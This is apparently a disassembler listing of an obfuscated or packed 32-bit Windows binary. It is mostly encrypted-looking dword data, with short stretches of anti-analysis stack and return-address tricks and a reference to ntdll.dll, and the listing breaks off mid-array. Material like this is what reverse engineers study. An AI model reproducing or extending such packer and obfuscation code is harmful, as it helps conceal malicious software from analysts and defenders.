59966D1Ah, 50ED905Fh dd 26D878FAh, 6D9F299Eh, 0C87D17E6h, 59DC6A3Eh, 7D8657DCh dd 6BD93EC8h, 0E56D85CBh, 0B63CDB1Bh, 189DDF6Dh, 1C229611h dd 6C170490h, 0B1552721h, 966D7FFDh, 0AC2DB25Ah, 0C33EC87Dh dd 202AC345h, 7DC7169Dh, 2C9A3EC8h, 1D5E8Ch, 0E8B70000h dd 73D7700Bh, 0A63E4DD3h, 0E66D9721h, 3EC87D17h, 6DA62C1Ah dd 3CDB1BE5h, 1B56FCB6h, 0A69F38DFh, 767E0E22h, 17A378EFh dd 67989630h, 72B757BDh, 3EC8806Bh, 0D2571AC4h, 2BCEAAA8h dd 9A450AADh, 9B3EC88Eh, 0D74C9418h, 0D3EF635Ch, 0B050EFFEh dd 0FFF3FE42h, 0DB1B98FFh, 0B33B93Ch, 0CD1FDB5Ah, 0E012F195h dd 66ED7059h, 0C4F537B8h, 0CEE03FBBh, 1ED70188h, 0AF31AF52h dd 1CA82D16h, 0A755C72Dh, 61E775A8h, 0F90305B6h, 0A51BD579h dd 0B3FC69F8h, 7, 1020Fh, 6D580000h, 47E1CADFh, 0C8A431C8h dd 2ABA503Eh, 0CD71D995h, 40C3065Bh, 0F50BB1C3h, 0B93CCAC4h dd 0EA6909EAh, 0C72D5013h, 0BD5AD86Eh, 0A350E98Dh, 8E9534D3h dd 0C72D5084h, 0C44BEFFEh, 0C72D5035h, 9D3CBE4Ch, 0EF882746h dd 90B33A85h, 7411B4C3h, 89C832D6h, 2F3E904h, 280CA63h dd 0CC6F885Fh, 0D87B744Fh, 0DC738D5Bh, 7C751857h, 0DDDF6D06h dd 4FEE0808h, 38BABEC3h, 6FE65E98h, 0D8700305h, 0D2000000h dd 9A20A53Eh, 0DF1BE86Dh, 5C32AC38h, 0AA36F4B6h, 0BABB4106h dd 86843EC8h, 0A24930FFh, 0E56D38FEh, 1BF82846h, 57AF39DCh dd 0B95D6AEEh, 2847050Bh, 3D0DAA51h, 3E151BBBh, 519721A6h dd 1699800Ch, 3E5FB8CFh, 0CE36949Ah, 0A805848Dh, 2Ch, 21A63E1Ah dd 17E66D97h, 6A3EC87Dh, 0E56D56DCh, 0B45B966Dh, 7A8F2F1Bh dd 0FC53DD7Ch, 2FDF6D56h, 0A7297F6h, 5616C464h, 6C000000h dd 0B659966Dh, 25AA3119h, 3EC87DD4h, 87791DABh, 6D0C9631h dd 0C87D17E6h, 0A92C1A3Eh, 74E2F423h, 0F4941BE2h, 6DE56D2Eh dd 448D9DFh, 0A1A946EDh, 3CAE3611h, 1E994AB0h, 9539E845h dd 14973640h, 0F08D303Fh, 0B552F503h, 0BF871395h, 2C55A7E6h dd 0FCC18727h, 0FF130256h, 1B58FFFFh, 579C39DCh, 0B1501E18h dd 479E902Fh, 4924FB82h, 993D0DAAh, 59F31996h, 0DE6CC4F5h dd 0A0FF0241h, 7E28C72Ch, 935389F3h, 2005FC69h, 7D000000h dd 9B22A73Eh, 0F4AE1E14h, 0AA43C1C4h, 2CB24499h, 7CD3B1C7h dd 6980DA12h, 0C97CFCh, 1B060000h, 0DDB239DCh, 70DA730Eh dd 757C77D0h, 911431CEh, 0C87DCB12h, 8020A63Eh, 0CDDB8C6Bh dd 72D03998h, 0C82BC446h, 0E86D0CAFh, 0F617E66Dh, 856A3EC8h dd 1B2FC86Bh, 1D34F99Dh, 0AB3EC8F2h, 0CDA229CCh, 0BF5E02A1h dd 19554F28h, 0B75FF87Ah, 9F24A722h, 0C4F5D98Dh, 449E85Eh dd 29B422Fh, 0EF76A848h, 5DCC53DAh, 143D13B2h, 5920EF76h dd 0BE4A0FB2h, 17E15C2Bh, 0C21B9858h, 9DCD0F2Dh, 0F005A927h dd 848E6209h, 43C20Ah, 21FAB2Fh, 1A5A0000h, 0EB0BE07Fh dd 1C56AD4Ch, 0EEFDD275h, 521FB453h, 33690CABh, 8D2CD39Eh dd 38D77A76h, 9433D2A3h, 0EA8D303Fh, 7D65DF8h, 5A38E95Eh dd 0DE1BB191h, 34439837h, 3E68EE91h, 149B22A7h, 0C4F4AE1Eh dd 99AA43C1h, 0C72CB244h, 127CD3B1h, 0FC6980DAh, 0CE7Ch dd 0DC1B0600h, 1A579C39h, 0E66BDA73h, 0C87D9069h, 0D259EF3Eh dd 0C87D8C4Dh, 0C165E33Eh, 0C879C57Ch, 0FAF4033Eh dd 3DA59F9h, 5EC13781h, 7DCD6AE8h, 68875CFBh, 57EE28C5h dd 0C3C34564h, 6AF15D23h, 37E614E5h, 5BDD6BC1h, 0C5515BD8h dd 7C0A3B0Ah, 309429DDh, 2C072AB3h, 41BF45C7h, 0A20B35BAh dd 7E0C3D12h, 0AA5128F7h, 6209F007h, 0C38D928Eh, 0C119F643h dd 151h, 22C5608Ch, 5F02A1CDh, 2CCB7288h, 56F994D7h, 2ED17881h dd 4138994Bh, 18E0F79Ah, 0F0FDD275h, 1E59AE51h, 6BEADC7Bh dd 0E95915E4h, 0BF836C38h, 18E0DE1Bh, 0F072D875h, 0BFE4DF6Dh dd 0D8325E4Ch, 0F502D938h, 7B37C64Dh, 0B74A3EC8h, 0C87BA138h dd 0C84AC03Eh, 1B9FA74Ah, 579C39DCh, 20D27518h, 26AD3099h dd 0C4F54970h, 31FE8503h, 4104A346h, 3AFDCEBBh, 1CBCC446h dd 6805A8C7h, 2BB217AEh, 0BD6622A6h, 15A1A15Eh, 160CAC71h dd 4E233D0Fh, 2BFB7D24h, 43C601FFh, 0B29644C9h, 0ED000000h dd 2EC564FFh, 0E9FEA140h, 30C76A11h, 0F209A843h, 9CC16007h dd 7AECB06h, 0C2659368h, 0EADC81Fh, 0B85B946Bh, 0A11EA519h dd 38E95858h, 3ECC7637h, 149B22A7h, 0C4EB710Ch, 0E1AE35D3h dd 39D27615h, 931ABDBAh, 7710B3BCh, 55D3727Ch, 898851CEh dd 61E7C716h, 6E895EBDh, 5DDB7A74h, 7CD83C0h, 0E5494B26h dd 47EA058Ah, 3BC241C4h, 5643071Bh, 1AF150F0h, 569D3ADDh dd 1CF37A15h, 79205953h, 4CEC6EDCh, 62ED17F3h, 0EC6F12DDh dd 9835D817h, 1BD726ADh, 1CAA4307h, 0C41BFA9Eh, 6B6F08ABh dd 0Dh, 17E66DE8h, 6A43071Bh, 86F63CDCh, 3ED91BBCh, 822552A1h dd 40DF0EE5h, 81244CA7h, 3BE20FE4h, 812851A2h, 41DC0FE4h dd 7C234FA4h, 47E610E3h, 0EC8124AEh, 4, 89243489h, 4C681E6h dd 83000000h, 348704EEh, 89525C24h, 4C281E2h, 83000000h dd 148704EAh, 0C895C24h, 54BE6824h, 3C890000h, 0D026824h dd 0C8B0621h, 4C48324h, 243C8B54h, 8304C483h, 148904ECh dd 89CA8924h, 8B5A0857h, 8956243Ch, 4C681E6h, 83000000h dd 348704C6h, 0C8B5C24h, 0E0895024h, 405h, 4C08300h, 5C240487h dd 0FA57A7E9h, 136F6AFFh, 51711C12h, 2605B898h, 0C5030621h dd 9D85C650h, 47061B23h, 38172568h, 0F9B5FFCFh, 8D061B2Bh dd 1B391F85h, 8BD0FF06h, 5D858DD8h, 50061B14h, 10468h dd 0C6D3FF00h, 1B239D85h, 0BF685306h, 0FF8307F8h, 1B2BF9B5h dd 1F858D06h, 0FF061B39h, 0E38589D0h, 8306210Ah, 1B1335BDh dd 840F0006h, 0Bh, 24599D8Bh, 5E9061Bh, 0BB000000h, 0 dd 10068h, 0E7B58D00h, 5606210Ah, 0E195FF53h, 8D061B32h dd 210AE7B5h, 0E9F00306h, 1, 5C3E804Eh, 9840Fh, 3E800000h dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 6210AE7h, 0E395FF50h dd 5806210Ah, 97E1E0FFh, 7A4606CCh, 0CD86106Bh, 7F7470F5h dd 0D2C70F51h, 557B4911h, 0B8723D07h, 400F2E03h, 8D8D07CFh dd 6212819h, 2880Fh, 0C78B0000h, 24298D89h, 6A061Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 21DDFC3h, 5DB7071Dh, 6585C783h, 60061B07h, 8900006Ah dd 1B214185h, 0D185C706h, 61B13h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 1004C352h, 12E80F1Ch, 0D0000000h, 54232FC9h, 30C4325Fh dd 0B4D215A8h, 812D4E2Bh, 0F98D896Fh, 5A061B12h, 5DB5FFh dd 0D98A061Bh, 2F8595FFh, 10E8061Bh, 0D4000000h, 0EC3A5081h dd 0D4807909h, 0EFFDCD74h, 80EA8B5Dh, 6A5F40CBh, 595FF00h dd 8B061B22h, 8839EBC0h, 2D36D024h, 8B1C2C79h, 0D0CB9C6Bh dd 14B54477h, 605376A6h, 75489DB2h, 234ECD7h, 0C1407D8Eh dd 9248442Ch, 75257F22h, 2B49C7A2h, 500A5ACDh, 3866570Dh dd 86FD1ACFh, 8E8h, 6B5BBA00h, 9194F4CCh, 0D4D8818Eh, 5B71C98Dh dd 0D0C08166h, 17C381A6h, 8B00005Bh, 169CBFF2h, 8BF80000h dd 5DBD8913h, 81061B12h, 0F314F6EAh, 0F18B6667h, 3F64EA81h dd 0FE96FA8h, 0BA000000h, 521991Ch, 0EABD592Bh, 9D0E8073h dd 0F281C6CCh, 5CB92BCEh, 1F2D8D29h, 0B852061Bh, 2632147Bh dd 0B529038Fh, 61B18E1h, 8B02EB83h, 1B0AD985h, 664B4B06h dd 8335C0B8h, 850F01EFh, 0Dh, 27E9h, 4E708900h, 7EBF6664h dd 0A8F0F0Fh, 60000000h, 9D8BDAB2h, 61B2B1Dh, 0FF81E961h dd 6BFEFFFFh, 37D431A1h, 697B34B3h, 29E98D8Dh, 6A0621h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 29BF07C3h, 1B2AD59Dh, 298D8906h, 0BB061B24h, 7E4E697Fh dd 76585C7h, 6624061Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 5BEE9FC3h, 0C3BBCF3Fh dd 0F582182h, 85C7FAB7h, 61B13D1h, 0 dd 0FFF2BF0Fh, 1B249DB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0DEAE1156h dd 0FFFBCD32h, 1B2F8595h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0ABEAC504h dd 0E8AAB53Ah, 12h, 79B583CBh, 0B4E20B64h, 0CF44413Bh dd 0E5523A76h, 6A5861E4h, 595FF00h, 8B061B22h, 6A68EBC0h dd 1BA806C0h, 0AEF4DE18h, 0BA968ACBh, 52532820h, 0B0ADCDA4h dd 0C240E88Dh, 0A031D557h, 24ECE74Bh, 4AAA9B84h, 5D2F2338h dd 8659824Bh, 51028955h, 0D3D977CBh, 2EEC9182h, 0CE28D55Ch dd 0FF4C8E83h, 5BF03AFCh, 51B2CCA9h, 0C40E09DBh, 2E818A0Ch dd 0F10A859Fh, 3CF64B81h, 9E612909h, 7C44A0E4h, 9189E25Eh dd 0E8CDD929h, 10h, 0A5CF524h, 0F9B4722h, 0A78C8511h, 0FD0EA0CEh dd 176D9D31h, 0F5E061Bh, 680h, 0F9BD8B00h, 81061B12h, 693AC6h dd 850F00h, 0BB000000h, 0 dd 34FF0DB2h, 5CB86633h, 9D01593Fh, 61B1445h, 0AC20C181h dd 958B42E5h, 61B19F5h, 8019F181h, 0BD8B1A03h, 61B29F9h dd 57B3E981h, 60510CB8h, 89D18B66h, 1B0C8585h, 48F6106h dd 0E952F91Eh, 9, 3D5D41F2h, 40991D34h, 0EB835A4Dh, 810CB204h dd 0FF9784FBh, 18850FFFh, 8B000000h, 1B007195h, 24E906h dd 0D3E70000h, 0CAF7510h, 0B1C93A87h, 0E920F2BDh, 0FFFFFF86h dd 2366A036h, 1E017CBDh, 5721FB76h, 7BD01F2Ah, 12E827C5h dd 0F1000000h, 8B4198D2h, 4CA2581Eh, 94AE27D3h, 94B2E113h dd 85895807h, 61B2535h, 5A3AC081h, 0F62B0000h, 0FE9h, 20DA1A00h dd 0EC3E708h, 0E6A55C5Eh, 0F68CFE8Ch, 330148Bh, 1B2D31BDh dd 0C0F28106h, 1183AF7h, 1B229D9Dh, 6C28106h, 6634CA7Fh dd 2EECC981h, 23A8F281h, 0BF6661A7h, 0E9528224h, 7, 98B5205Dh dd 8F578F9Ah, 0C3813004h, 3EABEFF5h, 31EF8166h, 4EE8353h dd 81CEB70Fh, 0FFA680FEh, 20850FFFh, 56000000h, 22BD8D8Bh dd 0E95F061Bh, 25h, 50B333F2h, 709E15FCh, 896288Dh, 2AF7FF0Dh dd 89EFC43Fh, 1B248D8Dh, 0FF7EE906h, 581FFFFFh, 0FF6DA5EDh dd 9026EB17h, 0EC33B61Bh, 6E558EAFh, 6C6C6474h, 6C6C642Eh dd 46218800h, 0D25D3407h, 0C4EC64A3h, 9, 0 dd 65AE900h, 2B680000h, 0E906212Dh, 0FFFA5210h, 212DFE68h dd 5206E906h, 0C768FFFAh, 0E906212Eh, 0FFFA51FCh, 212F7A68h dd 51F2E906h, 3468FFFAh, 0E9062130h, 0FFFA51E8h, 21311E68h dd 51DEE906h, 0A2D2FFFAh, 63936807h, 0A4CE25C4h, 66855AFDh dd 9AD72CCBh, 0EBF154F3h, 0C5640BE6h, 9F422Eh, 0CC6B0AEBh dd 0F2953837h, 3FBE45C0h, 5238E951h, 2502E959h, 58000000h dd 9C39DC1Bh, 0D2751857h, 0C87D884Dh, 0C867863Eh, 0D96EB745h dd 0EA93CC12h, 0D662E746h, 0C74EE6E6h, 85CB6BE7h, 9B22A73Eh dd 0F5714614h, 12AB19C4h, 2C89AC31h, 0A4AB59C7h, 69A6023Ah dd 0FDF5CAFCh, 4EF9B256h, 89000002h, 3807519Ch, 902B483Eh dd 38D553F7h, 25BC6E12h, 3CA221A4h, 0CFC4F559h, 21CB4039h dd 4837D09h, 0A890CBDh, 0F1434570h, 65E07D0Bh, 0C8BF60D7h dd 0C96D9CD9h, 44C70257h, 3EBF44C1h, 51115321h, 53F0ABA5h dd 0CD4BE6A9h, 0F26B2429h, 58EEEB72h, 4EF1FED5h, 781B54ABh dd 79D607A8h, 7E5C3199h, 49Ah, 0C66904F0h, 3A64531h, 0C05F06ECh dd 0AAD482Bh, 0B255FCF5h, 0ADC40D8Fh, 648C6306h, 0ACC91EC1h dd 5A956A0Dh, 1FA618B7h, 0E95059A0h, 0CB773838h, 9C39DC1Bh dd 5FE6E37Ah, 0F5416AE0h, 4231FEC4h, 0D898F099h, 84060690h dd 83BF5FEBh, 561632F7h, 3BC2EC4Ch, 2C2925B4h, 4CCE3CC7h dd 4A94D7ADh, 42DB7675h, 0A325C4B1h, 0EFCC1103h, 516A5106h dd 20A3256Fh, 0B4DF1EA5h, 14B2C72Ch, 0CC32B174h, 5F3D1190h dd 0EB5BF0E9h, 3EA5BF81h, 149B22A7h, 9FDE9C46h, 0A428AB19h dd 0F7FBD28Dh, 3009ADC8h, 87333E15h, 0D81CF108h, 78FA906Bh dd 2A9F26D8h, 8C631CA3h, 82F691F9h, 6505B65Fh, 56DD5BBAh dd 2CCB6E89h, 21F598D7h, 0FEF40696h, 0C7CB0FA0h, 1D000003h dd 0BE15B44Fh, 996E11B0h, 0C017BA61h, 627918B3h, 2C51F097h dd 771E5B76h, 52F503D8h, 7E1D58AFh, 48EB04DBh, 118E35A9h dd 38E950C8h, 1BFCC6A7h, 7A9C39DCh, 0E05FE6E3h, 0C4F57136h dd 0E0836D42h, 0E7630347h, 2547C153h, 1FA139EBh, 0BB38BD80h dd 0C72C9F22h, 0F527C73Dh, 4DD25970h, 3D0FB396h, 5A0BE4C9h dd 96FD2097h, 0DC5EDCB0h, 0EB07DC59h, 204FA444h, 16E2FB78h dd 77DCD0Bh, 7F0289h, 0CD0B16F9h, 57A62D98h, 2ACD0B16h dd 9B7A1E9Ch, 5882B44h, 0A03F2Eh, 5F6AEF27h, 397F50DCh dd 33FE3DF1h, 0CD139093h, 9E373661h, 2836B91Ah, 601E52ABh dd 0B972DD3h, 1FA1B223h, 0AD37824Fh, 2FAB845Dh, 2FEh, 0DA7D1854h dd 0A74AE905h, 0E4832A50h, 9E41DC0Fh, 0E6893049h, 89706183h dd 0D0A83FE2h, 78758A2Dh, 0D6A136D9h, 0A3229433h, 0E953DD1Ch dd 7BBB438h, 9C39DC1Bh, 5FE6E37Ah, 0F5484EE0h, 4A321C4h dd 0E6817241h, 6F5D0149h, 175h, 0DD5E9CE9h, 35BA4188h dd 0C4F559C3h, 0EF8E5F54h, 7D76F456h, 73B93306h, 804990CCh dd 4A9476FDh, 7307C053h, 81A198C5h, 403A0FDBh, 0CC4EFC99h dd 6B5EE333h, 0B02C6BE8h, 422F3A65h, 922D3E34h, 3AD355F5h dd 0FDCD8702h, 3AB8F9C2h, 915E35B8h, 0BBB44BEEh, 0B3BCB6C1h dd 40109210h, 486847BDh, 4BD8028Bh, 0A1000002h, 429938D3h dd 0DDF29534h, 34CB6E15h, 0E6FD9C37h, 0A0C5640Bh, 0F39AD7FAh dd 0CE717F54h, 0FA99D42Bh, 0D4778057h, 7D028135h, 38E9527Ch dd 1BA81A13h, 7A9C39DCh, 0D95FE6E3h, 8CB67B4Eh, 0DB5E02CCh dd 0F535F654h, 3CDB69C4h, 89D02928h, 0BD38BD40h, 2D24A736h dd 0AD2CB3C7h, 0C4C72D24h, 0A040C646h, 1000259Bh, 15E0AF3Dh dd 0F056D276h, 239450FBh, 5095BFE0h, 9F6DF279h, 10A01CE0h dd 0A439DD7Ah, 95239E25h, 0F0939F2Bh, 0FCFD86CAh, 936005B8h dd 0AE2CD39Eh, 8FC8470Ah, 929A2428h, 0D5A271F4h, 0D5A09EDBh dd 2F1BB436h, 0FEF90EB1h, 2DD28B5Bh, 0E3ACE8AAh, 191F7h dd 6A05E700h, 0A74630C7h, 6007F308h, 0AE492AC1h, 56FDF40Bh dd 0C50C8EB3h, 8D6205ACh, 0CA21C063h, 966D0CABh, 9F13B659h dd 4D5E9F24h, 383138E9h, 2BDC1B8Ah, 9E062062h, 0F9961455h dd 0C9AAC81Dh, 37B9912Eh, 3F812FB4h, 0B48BC4F5h, 0CB7F18BBh dd 0F6992F2Bh, 22A73E30h, 3149169Bh, 7DFFFE85h, 0F4923EC8h dd 0CD71D976h, 0EB516188h, 38A00C4h, 1A0432Ch, 0CD6A0DEAh dd 4ED5F449h, 35852AD1h, 3CC33E3Dh, 0CD75D5BDh, 0D5B746CDh dd 3CCACD75h, 0AAA64AC0h, 0D5419817h, 0AA20CD75h, 0A1CEA528h dd 5FE461FEh, 0CD75D59Eh, 31D553F1h, 0D69C73EEh, 14B4962Fh dd 6A0DB0BFh, 1EB75A95h, 0DC6361F8h, 0CD75D51Dh, 0D154D674h dd 9B660B4Bh, 2DD149E5h, 7E37C39Ch, 0CD9030FFh, 484A3846h dd 0F9CD3B37h, 5DA75296h, 0A77B5F30h, 0FD000000h, 1EB554EFh dd 0F90EB150h, 20B75A01h, 0C219B853h, 0C7110B7h, 57FEFBD6h dd 0B25523B8h, 5EFDF80Fh, 0A84B24BBh, 0B12ED509h, 38E94C28h dd 3EDC6647h, 0C49B22A7h, 0E3660AA9h, 0EB51955Ch, 0DF0EE5C4h dd 0EA8D6B40h, 0E37C0A46h, 0C03FE710h, 0C716A939h, 0B04DF0FFh dd 2EAC1A9Ah, 0D87B748Bh, 0C8B1043Fh, 0EB3336F0h, 6D10DF64h dd 973A35CAh, 8F2E3F14h, 5BB454F6h, 37DA15EAh, 0F70CAC9Eh dd 4EBC59F4h, 234CD1A0h, 2EAC4F29h, 0CA7B748Bh, 276C79FCh dd 44E15FD7h, 0D96h, 0ED72EF00h, 0D7306EECh, 0DB610583h dd 0D91BBC86h, 2552A13Eh, 0DF0EE582h, 244CA740h, 0E20FE481h dd 2851A23Bh, 0DC0FE481h, 234FA441h, 0E610E37Ch, 6824AE47h dd 8E8h, 68240C89h, 59BAh, 68241489h, 598Ah, 68240489h dd 12Eh, 0B8240489h, 6212C49h, 6858C289h, 809h, 83242489h dd 58042404h, 8BB5352h, 315BA903h, 5B04245Ch, 8108408Fh dd 3080870h, 48B5BA9h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_53531C ; --------------------------------------------------------------------------- dd 5AD0580Ch, 2131EAB8h, 0FFC50306h, 62D34E0h, 6183D632h dd 655FA464h, 30248155h, 839C8006h, 94B50C0Ch, 0F3DB067Bh dd 0ADB73C2Ch, 6A54391Bh, 0DE206416h, 1D2ECB2Dh, 8D22985Ch dd 0AEE1E03Fh, 0FE86Dh, 11C70000h, 0EB768E0Dh, 0A63A22AFh dd 52496C0Ch, 0AB55F12h, 69B9C781h, 0A1B50000h, 12E8D233h dd 92000000h, 0F20BD415h, 88C44A2Eh, 0E0A8358Ah, 522E0A40h dd 348B5B71h, 0F5C98117h, 815532F5h, 21FFF3EEh, 1890F63h dd 0F8000000h, 3507EE81h, 5E95B14h, 30000000h, 0C6AD3314h dd 0D33DEE81h, 89F92B62h, 8E91734h, 0C7000000h, 565A01A0h dd 0E9F7E3A3h, 0Ch, 6BC8DAB2h, 33948E3Bh, 1E8942Dh, 0FC04EA83h dd 96D8FA81h, 850FFFFFh, 0FFFFFFA2h, 0EBD98B66h, 8, 0E7F71D00h dd 512E907h, 7B680000h, 0E9062134h, 0FFFA4AD0h, 2134F168h dd 4AC6E906h, 9C68FFFAh, 0E9062136h, 0FFFA4ABCh, 8629C4B0h dd 43E68571h, 801FC6ACh, 4AED886Bh, 7215BCB5h, 0ED04CDCFh dd 244CA346h, 0EC09DE81h, 1A55AA4Dh, 5FE6D877h, 0E94E19E0h dd 0BB77838h, 0B437DE1Bh, 966B12DFh, 0FB14B45Bh, 0DF17BE4Ah dd 0BC8A36CDh, 5A8C71Ch, 0A029B062h, 0F188961Dh, 0BD4BC4F5h dd 0F1DE2320h, 5D47C72Dh, 3E30A812h, 4626FC6Ah, 9C000003h dd 0B659966Dh, 0F98D3119h, 9D229FF7h, 3EC87D5Ch, 0CA139033h dd 0A53EC87Dh, 6011A11Fh, 0C0AC48B4h, 358C7E22h, 37421194h dd 0B353F790h, 4D1EF570h, 0FC9FD9B2h, 0A261D75Ch, 54F2C4F5h dd 4C9EE45Fh, 16ABC44Bh, 21B330B3h, 3A387521h, 5EE333CCh dd 776BE86Bh, 13291E2h, 0AA34632h, 2B4DBD32h, 0CF516BB3h dd 427CC643h, 0A040F4B2h, 5BA221A4h, 36CE824Ah, 3DCB52D0h dd 1F032C8Bh, 6EB1551Eh, 18D165F3h, 50376899h, 5A08BCA0h dd 4AEE6CF0h, 9417BAB5h, 690DB0BFh, 973A35CAh, 4FC7E6C7h dd 9B3FD040h, 335h, 9639D4A0h, 0F3963541h, 0D06F16DCh dd 0FA9D383Bh, 0C2650CE5h, 9DD4FD9Fh, 747C53F6h, 9CD92ED1h dd 6A855AFDh, 0FB628C7h, 0E9494990h, 7B472838h, 9B22A73Eh dd 0EAA80114h, 0EB72D8C4h, 9336DD14h, 0A89353Ch, 0C716B0F3h dd 6D6CF38Eh, 4C716B0h, 0E9860486h, 16B0865Ah, 0B646D2C7h dd 59F8F5A4h, 0BCFE8EBCh, 0C91EC22Dh, 4C3B0BAEh, 5A49DB8Ah dd 2BF05D5h, 4A2A0000h, 0FBFB10AFh, 4C26BD5Ch, 0FEED02A5h dd 422FC463h, 4359FC9Bh, 1DBC638Eh, 6807AAC6h, 24C36293h dd 5AFDA0CFh, 9766ED68h, 0EA38E949h, 0A73E4101h, 0AEC49B22h dd 5FE46707h, 0C4EAA85Ah, 4BB9A226h, 419FB0AFh, 16223BC2h dd 72F056C7h, 5BF492CEh, 162215E8h, 44E313C7h, 8E2D48ABh dd 0B5BC6AF1h, 9E2AA187h, 27AF712h, 36E08042h, 303BB11Bh dd 0E93FC63h, 160F4891h, 0FCA3CEC7h, 0FC830A80h, 0C7160FFDh dd 5952F694h, 199h, 0E2DC1BE9h, 6FF67413h, 0B231D5A0h dd 3EC87D2Bh, 9E42C046h, 0DE816E85h, 5272C73Bh, 0C87D0CCDh dd 63E5633Eh, 51D765E0h, 2CD4B51Ch, 0BD3CC34Ah, 0D43EC831h dd 7F8D9236h, 0F0C4F515h, 5896E94Ch, 2DD202DBh, 5BE75DC7h dd 6D84F069h, 42C144C6h, 0C72D75BBh, 55F270D6h, 2D75EBEEh dd 0E76A14C7h, 69BE477Dh, 3311FCh, 3E710000h, 149B22A7h dd 0C4F4AE1Eh, 21B837BAh, 40C72CB2h, 9C2A26CAh, 0B2BD4003h dd 0BC6AC72Ch, 2DF682B5h, 0F78953FDh, 5B918B2Bh, 0FDFC68E2h dd 0BAh, 68DF6D85h, 0EAB1E03Fh, 0B35AA320h, 0CF353EC8h dd 1F58AD51h, 0E910E37Ch, 214EA542h, 0E512E17Eh, 0F8CAA734h dd 9ED460FBh, 0F79A187Bh, 0C8C78F30h, 8B2E493Eh, 5C9A69ECh dd 0C5A23BB8h, 47BD3EC8h, 6EF325C9h, 0A946ED04h, 179C1FA1h dd 0C4F6618Ch, 0DA7D7B48h, 0ED690D3Dh, 0D251D457h, 0C72B680Bh dd 0FD40E066h, 5A44B26h, 0E2857340h, 1FC2AE45h, 11E8FDA1h dd 9519966Ah, 0A26B49E6h, 11438h, 0D26D7F00h, 0FF9ED82Fh dd 0C86F8B60h, 6A1D229h, 0BE658C63h, 2DA4361Bh, 0E5FA9D44h dd 32C9680Bh, 0EE05A443h, 7BB5E01h, 4BF6078Ch, 0A08938E9h dd 37DE1B22h, 91344398h, 0DC1B68EEh, 0DB7413E2h, 1CE4AC61h dd 0E86AF56Ch, 4926CD6Ah, 0CA0F03A6h, 0D7F77CFFh, 48C4F484h dd 8D643BC2h, 0F9FC43E6h, 37C72C97h, 0DDF29538h, 0F7025F14h dd 8C22F666h, 0FFD4710Eh, 41AF4FEEh, 99h, 22A73E97h, 0A805149Bh dd 6EDCC4EAh, 0AD5522D1h, 16B0D726h, 9E1CAAC7h, 680BE4FBh dd 0C01A74CFh, 0ED68C0DFh, 9B34DB16h, 0BCFFCCA1h, 6CEEDA38h dd 6F936AE9h, 58EEC6DFh, 7E034EB8h, 0D42BCE71h, 0E65FF89Bh dd 9EFC2662h, 7E22AC9Ch, 56EF8A69h, 2FB431B4h, 0C6DFB1AEh dd 133853B1h, 68660F0h, 1B36E080h, 13B65996h, 0A102B3BCh dd 5400C7F3h, 0E9EBF271h, 86C6DFh, 73670082h, 19h, 0F9F703D0h dd 44E15FFAh, 86DC6206h, 6508F0BFh, 0CFA982C8h, 17B7932Ch dd 3ED91B11h, 822552A1h, 40DF0EE5h, 81244CA7h, 3BE20FE4h dd 812851A2h, 41DC0FE4h, 7C234FA4h, 47E610E3h, 895024AEh dd 405E0h, 0E8830000h, 24043304h, 33240431h, 535C2404h dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h, 65306824h dd 14890000h, 41C36824h, 3C890000h, 336BBF24h, 0F9890621h dd 4EC835Fh, 83242489h, 5A042404h, 72B85053h, 0C16BAE7Eh dd 54004E0h, 6C1E6D7Eh, 140DD0F7h, 51F7D6Ah, 20021494h dd 158C389h, 5B0B89D3h, 5A2434FFh, 4C481h, 34FF0000h, 0C4835924h dd 45CAE904h, 7D6FFFFAh, 2137D5B8h, 0FFC50306h, 0D8EB2FE0h dd 0E5751303h, 1A40D269h, 533D523Dh, 4BE20D15h, 4691D15Bh dd 5E424E10h, 0FB98FB24h, 0AD3995Eh, 0FEA2C671h, 3576BD04h dd 8B1E12Fh, 8E8D8D5Fh, 6A062139h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 61BBC352h dd 0C2C81B78h, 95318F8Fh, 61B0B49h, 24298D89h, 6A061Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 3A13B7C3h, 7C54424Dh, 258589CEh, 0C7061B11h, 1B076585h dd 70B006h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 2C1F16B7h, 0D185C78Ah, 61B13h, 56000000h dd 71EB8166h, 89575AA1h, 1B24CDB5h, 0B5FF5A06h, 61B31BDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 36C35343h dd 8595FF44h, 6A061B2Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0E893C357h, 7338FA16h dd 0EB316Eh, 95FF006Ah, 61B2205h, 3BEBC08Bh, 27FD5592h dd 569B5028h, 0E71C6802h, 502408E7h, 0A9C107C7h, 4C31C9BAh dd 8B151308h, 31210DA2h, 26F6E554h, 0B9DA4DC2h, 0E33AE10Bh dd 0B3363EFCh, 2891C685h, 9E1E59AAh, 8D08EC0Bh, 213A5A8Dh dd 0A0DE8106h, 8906E50Eh, 1B24298Dh, 6585C706h, 40061B07h dd 0E800006Bh, 14h, 0E4DAA6F0h, 37EAD92Ch, 0E96427F9h dd 0DD625378h, 56538C51h, 0D185C75Ah, 61B13h, 9000000h dd 1B23B5BDh, 0A5B5FF06h, 6A061B03h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 968C350h dd 90B6CCEDh, 95FFC761h, 61B2F85h, 860F7BB0h, 8, 8D9D8B56h dd 5E061B2Ah, 95FF006Ah, 61B2205h, 2CEBC08Bh, 2F2D74Bh dd 5FEAB1ECh, 